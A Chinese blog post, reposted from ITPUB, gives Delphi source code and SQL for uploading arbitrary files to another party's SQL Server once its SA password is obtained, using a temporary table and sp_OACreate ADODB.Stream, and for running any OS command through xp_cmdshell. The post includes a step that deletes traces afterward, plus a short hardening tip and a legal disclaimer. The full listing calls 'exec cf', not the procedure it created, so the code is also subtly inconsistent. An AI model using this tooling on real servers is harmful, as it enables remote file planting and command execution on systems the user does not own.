通过SQL SERVER远程上传文件的实现

我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方
服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,
赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。
写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据
比如文本,整型,二进制等数据。
在这里通过SQL SERVER服务器远程上传文件的思路就是,
1、先通过SQL语句,在对方服务器上创建一临时表,
下面是创建临时表的过程:
procedure  Create_temptable;
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
    query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
    query1.SQL.Add('[ny] [image] NULL');
    query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
    end;
end;
在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。
2、往临时表内插入文件
procedure insert_file(filename:string);
  var
  openfile:tfilestream;
begin
try
      openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流
      query1.Close;
      query1.SQL.Clear;
      query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
      query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
      query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
      query1.ExecSQL;
finally
    freeandnil(openfile);
end;
end;
3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,
这样就达到了将文件上传到服务器的目的。
我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,
它的作用就是从临时表内读出数据并保存为文件
下面的过程就是通过SQL语句在服务器上面创建存储过程。
procedure Create_proc; //创建保存文件存储过程。
begin
    try
       query1.Close;
       query1.SQL.Clear;
       query1.SQL.Add('CREATE PROCEDURE SCOFIELD');  //存储过程名
       query1.SQL.Add('as');
       query1.SQL.Add('begin');
       query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int');       //--定义记录集,文件长度
       query1.SQL.Add('DECLARE @value binary(8000)');                               //--存放数据
       query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
       query1.SQL.Add('declare @filename varchar(200)');
       query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
       query1.SQL.Add('set @sql=''select * from temptable''');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
       query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out');  //取出上传的文件名
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''open''');        // --打开流
       query1.SQL.Add('set @i=0');
       query1.SQL.Add('while @Len > @i');// --循环写入数据
       query1.SQL.Add('begin');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流
       query1.SQL.Add('set @i=@i+8000');
       query1.SQL.Add('end');
       query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos''');           // --截断数据
       // query1.SQL.Add('set @filename=''c:\ '' + @filename');         // --保存路径,不设置将存储在SYSTEM32下面
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2');   //--保存为文件
       query1.SQL.Add('exec sp_OADestroy @myRecordset');
       query1.SQL.Add('exec sp_OADestroy @Stream');
       query1.SQL.Add('select utput=''命令成功''');
       query1.SQL.Add('end');
       query1.ExecSQL;
    except
    end;
end;
­
4、保存文件的存储过程我们也建好了,
也到了执行它的时候了....
下面这个过程是用来执行存储过程的
procedure Create_file; //执行存储过程创建文件
begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('exec SCOFIELD');  //执行存储过程
        query1.ExecSQL;
     except
     end;
end;
执行完存储过程后,我们的文件就己经上传OK啦,
不过不擦屁股可不是好习惯,
我们还应该删除刚才创建的临时表和存储过程。
删除临时表的过程:
procedure Del_temptable;  //删除临时表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
    end;
end;
删除存储过程的过程:
procedure del_proc;  
  begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
        query1.sql.Add('drop procedure [dbo].[SCOFIELD]');  
        query1.ExecSQL;
     except
     end;
  end;
­
大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。
上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。
下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,
其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,
通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,
通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,
像这样:
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);
  query1.open;
一条SQL语句搞定。
如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。
如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。
­
为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。
下面是查询器的源代码:
unit Unit1;
//------------------------------------------------------------------------------
// Author      : SCOFIELD QQ:19154194
// UpDate     : 2009-05-20
// Name        : SCOFIELD SQL 查询器
// Version     : 1.0.0.0
//------------------------------------------------------------------------------
interface
uses
  Windows, Messages, SysUtils, Forms,
  StdCtrls, DB, ADODB, DBGridEh,xpman,
  DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    memo1: TMemo;
    con1: TADOConnection;
    Query1: TADOQuery;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    DBGridEh1: TDBGridEh;
    Panel1: TPanel;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    DataSource1: TDataSource;
    Button5: TButton;
    Button6: TButton;
    Open1: TOpenDialog;
    Edit1: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    ComboBox1: TComboBox;
    ComboBox2: TComboBox;
    Query2: TADOQuery;
    Button7: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Create_temptable; //创建临时表
    procedure Del_temptable;
    procedure insert_file(filename:string); //插入文件
    procedure Create_file; //创建文件
    procedure Create_proc;
    procedure del_proc;
    procedure Button7Click(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure FormCreate(Sender: TObject);  //删除存储过程。
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  ip,name,pwd,sql,table:string;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
   //查询时显示列头标题
  DBGridEh1.Options:=DBGridEh1.Options+[dgTitles]  ;
try
query1.Close;
query1.SQL.Clear;
  if trim(memo1.Lines.Text)='' then begin
       if (combobox1.Text<>'表名') and (combobox1.text<>'') then begin
            if (combobox2.text<>'字段名') and (combobox2.Text<>'')  then
                sql:='select '+combobox2.Text+' from '+combobox1.Text
            else
                sql:='select * from '+combobox1.Text;
       end;
  end
  else
  begin
      sql:=memo1.Lines.Text;
  end;
  query1.SQL.Add(sql);
  query1.OPEN;
  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
  except
   on e:exception do
   raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
   end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
try
  sql:=memo1.Lines.Text;
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add(sql);
  query1.ExecSQL;
  except
   on e:exception do
   raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
   end;
  application.MessageBox ('执行成功','执行成功',mb_ok);
end;
procedure TForm1.Button5Click(Sender: TObject);
var
constr:string;
i:integer;
TableList:TStringList;
begin
   TableList:=Tstringlist.Create;
   constr:=PromptDataSource(Handle,'');
  if constr='' then  begin
      button1.Enabled:=false;
      button2.Enabled:=false;
      button3.Enabled:=false;
      button6.Enabled:=false;
      exit;
  end
  else
  begin
         if pos('SQLOLEDB',constr)<>0 then begin  //如果为SQLSEVER,则显示上传按钮
              button3.Enabled:=true;
              button6.Enabled:=true;
         end
         else
         begin
             button3.Enabled:=false;
             button6.Enabled:=false;
         end;
      button1.Enabled:=true;
      button2.Enabled:=true;
    
  end;
  edit1.Text:=constr;
    try
    con1.Close;
    query1.Close;
    con1.ConnectionString:=constr;
    con1.Open;
    query1.Connection:=con1;
    application.MessageBox ('连接成功','连接成功',mb_ok);
    except
    on e:exception do
       raise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 ))
    end;
   //下面开始检测表名
   con1.GetTableNames(TableList,false);
   combobox1.Items.Clear;
   combobox1.Items.AddStrings(Tablelist);
   combobox1.Text:='表名';
   combobox2.Items.Clear;
   combobox2.Text:='字段名';
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
   DBGridEh1.Options:=DBGridEh1.Options-[dgTitles]  ;
try
  sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add(sql);
  query1.open;
  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
  except
   on e:exception do
   raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
   end;
­
­
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Text:='';
end;
//上传文件到服务器
procedure TForm1.Button6Click(Sender: TObject);
begin
if not open1.Execute then exit;
//下面创建临时表
self.Create_temptable;
self.Create_proc; //创建存储过程
self.insert_file(open1.FileName);  //插入文件
self.Create_file; //执行存储过程,下载文件
self.Del_temptable;  //删除临时表
self.del_proc; //删除存储过程。
end;
procedure Tform1.Create_temptable; //创建临时表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
    query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
    query1.SQL.Add('[ny] [image] NULL');
    query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
    end;
end;
procedure Tform1.Del_temptable;  //删除临时表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
    end;
end;
procedure tform1.insert_file(filename:string); //插入文件
  var
  openfile:tfilestream;
begin
try
     openfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开;
      query1.Close;
      query1.SQL.Clear;
      query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
      query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
      query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
      query1.ExecSQL;
finally
    freeandnil(openfile);
end;
end;
procedure Tform1.Create_proc; //创建存储过程。
begin
    try
       query1.Close;
       query1.SQL.Clear;
       query1.SQL.Add('CREATE PROCEDURE SCOFIELD');
       query1.SQL.Add('as');
       query1.SQL.Add('begin');
       query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int');       //--定义记录集,文件长度
       query1.SQL.Add('DECLARE @value binary(8000)');                               //--存放数据
       query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
       query1.SQL.Add('declare @filename varchar(200)');
       query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
       query1.SQL.Add('set @sql=''select * from temptable''');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
       query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out');   //取出文件名
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''open''');        // --打开流
       query1.SQL.Add('set @i=0');
       query1.SQL.Add('while @Len > @i');// --循环写入数据
       query1.SQL.Add('begin');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流
       query1.SQL.Add('set @i=@i+8000');
       query1.SQL.Add('end');
       query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos''');  // --截断数据
      // query1.SQL.Add('set @filename=''c:\ '' + @filename');   // --保存路径
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2');   //--另存为文件
       query1.SQL.Add('exec sp_OADestroy @myRecordset');
       query1.SQL.Add('exec sp_OADestroy @Stream');
       query1.SQL.Add('select utput=''命令成功''');
       query1.SQL.Add('end');
       query1.ExecSQL;
    except
    end;
end;
procedure TForm1.Create_file; //创建文件 ,执行存储过程。
begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('exec cf');
        query1.ExecSQL;
     except
     end;
end;
procedure Tform1.del_proc;  //删除存储过程。
  begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
        query1.sql.Add('drop procedure [dbo].[SCOFIELD]');
        query1.ExecSQL;
     except
     end;
  end;
­
//将查询出来的数据保存为EXCEL表格
procedure TForm1.Button7Click(Sender: TObject);
var
ExcelName:string;
begin
   if DBGridEh1.RowCount<=1 then exit;
   SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';
   if (combobox1.Text<>'表名') and (combobox1.Text<>'') then
   SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';
   if SaveDialog1.Execute then begin
      ExcelName:=SaveDialog1.FileName+'.XLS';
       IF length(excelname)>0 THEN begin
           SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);
           application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);
       end;
  end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
  var tablename:string;
      flist:Tstringlist;
begin
   if combobox1.Text='' then exit;
   tablename:=combobox1.Text;
   if tablename='表名' then exit;
   query2.Connection:=con1;
   query2.Close;
   query2.SQL.Clear;
   query2.SQL.Add('select top 1 * from '+tablename);
   query2.Open;
   flist:=Tstringlist.Create;
   //下面检测字段名
   query2.GetFieldNames(flist);
   combobox2.Items.Clear;
   combobox2.Items.AddStrings(flist);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
      button1.Enabled:=false;
      button2.Enabled:=false;
      button3.Enabled:=false;
      button6.Enabled:=false;
      button7.Enabled:=false;
end;
end.
程序中使用了DBGridEh控件,请自行下载,
程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。
此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,
并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。
其中
COMMAND是用来执行DOS命令的,
Upload File是用来上传文件到对方SQL SERVER服务器的
查询器下载地址:
如果有任何疑问或问题,大家可以加我的QQ:19154194 进行交流。
以上文章和代码以及工具仅为学习和技术交流之用,如若有人利用上面的代码或工具从事非法活动,一概与本人无关。
 

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/16436858/viewspace-604071/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/16436858/viewspace-604071/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值